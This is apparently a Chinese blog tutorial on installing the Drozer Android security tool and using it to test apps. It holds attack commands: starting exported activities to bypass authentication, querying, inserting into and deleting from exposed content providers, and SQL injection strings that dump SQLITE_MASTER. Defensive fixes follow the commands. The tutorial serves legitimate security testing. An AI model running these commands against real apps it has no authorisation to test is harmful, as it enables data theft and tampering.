【安全测试】Drozer安装及使用

一、Dorzer安装

     需要用到如下两个工具:如以前安装过mercury,这两个工具应该已经有了。

         Java Runtime Environment (JRE) or Java Development Kit (JDK)

          Android SDK

     下载安装后需要把adb和java工具路径写入PATH环境变量中

1、下载:打开此下载地址,windows环境选择drozer (Windows Installer)并下载

https://www.mwrinfosecurity.com/products/drozer/community-edition/

 

2、安装:解压zip文件并点击setup安装,一路默认安装就行;它会自动安装到C:\drozer文件夹下。

 

3、检测是否安装成功:

打开cmd窗口,键入C:\drozer\drozer.bat , 如出现如下提示说明安装成功。

 

 

4、安装agent客户端到手机:

确保手机debug模式开启,通过USB连接到PC上,通过如下命令安装agent.apk客户端。

adb install agent.apk

安装完成后启动drozerAgent

点击右下角“开启”按钮,开启Agent

 

5、建立session连接:

保持手机与PC通过USB连接正常,然后通过cmd窗口键入如下命令

       adb forward tcp:31415 tcp:31415

      drozer console connect 或 C:\drozer\drozer.bat console connect

出现android头像及:

dz>

命令提示符表示连接成功

 

6、具体安装步骤和使用方法详见文件:mwri_drozer-users-guide_2013-09-11.pdf

https://www.mwrinfosecurity.com/system/assets/559/original/mwri_drozer-users-guide_2013-09-11.pdf

 

修复连接时java路径找不到问题:

1、创建如下文件并命名为:1.txt (如果为winXP,则可以直接命名为.drozer_config)

 

2、写入内容如下几行内容:此处为java.exe文件的安装位置,具体情况具体处理

[executables]

java =C:\Program Files\Java\jdk1.7.0_40\bin\java.exe

javac =C:\Program Files\Java\jdk1.7.0_04\bin\javac.exe

dx =F:\Android\android-sdk_r18-windows\android-sdk-windows\platform-tools\dx.bat

 

3、把此文件放入个人目录下文件夹:

英文:C:\Users\<youruser name>\

中文:C:\用户\<你的用户名名称>\

 

4、通过cmd命令重命名此文件为:.drozer_config

rename  C:\Users\d00218136\1.txt .drozer_config


二、android组件安全分析

service组件风险分析

Service是 后台运行服务,它不在UI界面显示,其安全相关特征:
     Exported设置为Ture就表示可以外部调用,暴露状态;False为不可外部调用。
          如果至少含有一个 intent-filter ,则其默认exported状态为Ture。
          如果一个 intent-filter 也没有,则其默认exported状态为False。
    Permission设置,有此设置则只有申请此permission的应用才可以访问。
风险 Service 的情况:
     与某项功能或服务有联系,恶意应用通过伪造intent信息进行Server欺骗攻击来控制某项功能或服务。
     应用内部通过隐式消息(implicitintent)来调用其Service,使其含有潜在的Service劫持风险。

Content Provider组件风险分析

Contentprovider组件相当于应用的数据库接口,应用通过此组件进行查询更新其数据库中的数据;其安全相关特征:
Exported设置为True就表示可以外部调用,暴露状态;False为不可外部调用。
         不同于其他三个组件:它不受到intent-filter的影响。
         Exported默认为True: 当 minSdkVersion 或targetSdkVersion设置为"16"或更低时。
         Exported默认为False: 当 minSdkVersion 或targetSdkVersion设置为"17"或更高时。
Permission设置,有此设置则只有申请此permission的应用才可以访问。
同时还可 单独 设置读写权限:Read/Writepermission;如果这两个权限没有设置(也即其读写权限为null),则表示访问此content provider不需要读写权限




三、Drozer使用

获取apk信息

  • 1 )查找终端设备所有 APK 信息

             Run app.packege.list –f过滤信息

2 )具体查看某个 APK 信息

             Run app.package.info –a apk

3 )查找 APK 存在的攻击面 (activity contentprovider service)

             Run app.package.attacksurface  apk

绕过Activity鉴权

1 )收集 Activity 的信息进行收集,查找暴露的 Activity

             Run app.activity.info –a apk包名

   (2)构造intent信息绕过鉴权直接运行Activity

           Run app.activity.start –-componentcom.mwr.example.sieve包名

利用ContentProvider攻击

1 )收集 ContentProvider 的信息进行收集,查找暴露的 ContentProvider

    Run app.provider.info –a apk包名

2 )发现暴露的 ContentProvider 后,可以对数据库进行探测。探测出可以查询的 URI

    Run scanner.provider.finduris –aapk包名

3 )查看数据库中的内容

    Run app.provider.query URI –vertical

4 )对数据库表进行插入操作

    Run app.provider.insert URI对应数据表中的字段

5 )对数据库表进行删除操作

    Run app.provider.delete URI–-selection “条件

SQL注入

1 )查看 URI 对应的数据库表

    Run app.provider.query URI–-projection “ ‘ ”

    Run app.provider.query URI–-selection “ ‘ ”

2 )可以通过返回的错误信息展示出改 Content 准备执行的语句,获取数据库中的信息

    Run app.provider.query URI–projection “* From SQLITE_MASTER WHERE type=‘table’;--”

    Run app.provider.query URI–-selection “_id = ?”

预防

1)进行权限控制,对此组件进行exported=“false”或者设置调用需要申请的权限

2SQLiteStatementsqLiteStatement =db.compileStatement("insertinto chat(fromuid,touid,msg) values(?, ?, ?)");

    sqLiteStatement.bindLong(1, 12);

    sqLiteStatement.bindLong(2, 13);

    sqLiteStatement.bindString(3,text);

    long newRowId =sqLiteStatement.executeInsert();


四、使用示例

http://www.freebuf.com/tools/26503.html

http://www.freebuf.com/articles/terminal/33127.html

Drozer – Android APP安全评估工具(附测试案例)



  • 2
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
drozer是一款针对Android平台开发的安全工具,旨在帮助开发者和安全研究人员发现并解决安卓应用中的安全漏洞。 首先,drozer可以扫描目标应用程序中的漏洞。它能够自动化地检测存在的漏洞,并提供详细的报告,包含可导致应用程序被攻击的风险点。这可以帮助开发者及时修复漏洞,增强应用程序的安全性。 其次,drozer还能够帮助用户进行应用程序的渗透测试。用户可以利用drozer中提供的各种模块,对目标应用程序进行漏洞攻击,以测试安全性。例如,用户可以使用drozer模块对应用程序进行身份验证绕过攻击、文件包含攻击、SQL注入攻击等。这有助于评估应用程序的安全性能,并提供修补建议。 此外,drozer还提供了RPC通信机制,使得用户可以在PC端远程操控通过drozer安装在目标设备上的agent应用程序。用户可以通过drozer的命令行界面,实时监控目标设备的应用程序,进行更全面的安全测试和漏洞挖掘。 需要注意的是,drozer是一个强大而复杂的安全工具,使用时需要谨慎。如果使用不当,可能会导致目标设备或应用程序出现问题。因此,在使用之前,建议用户仔细阅读drozer的文档和教程,并遵循正确的操作指南。 总而言之,drozer是一款非常有用的安全工具,可以帮助用户发现和解决Android应用程序中的安全漏洞。无论是开发者还是安全研究人员,都可以借助drozer提高Android应用程序的安全性,并保护用户的数据和隐私。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值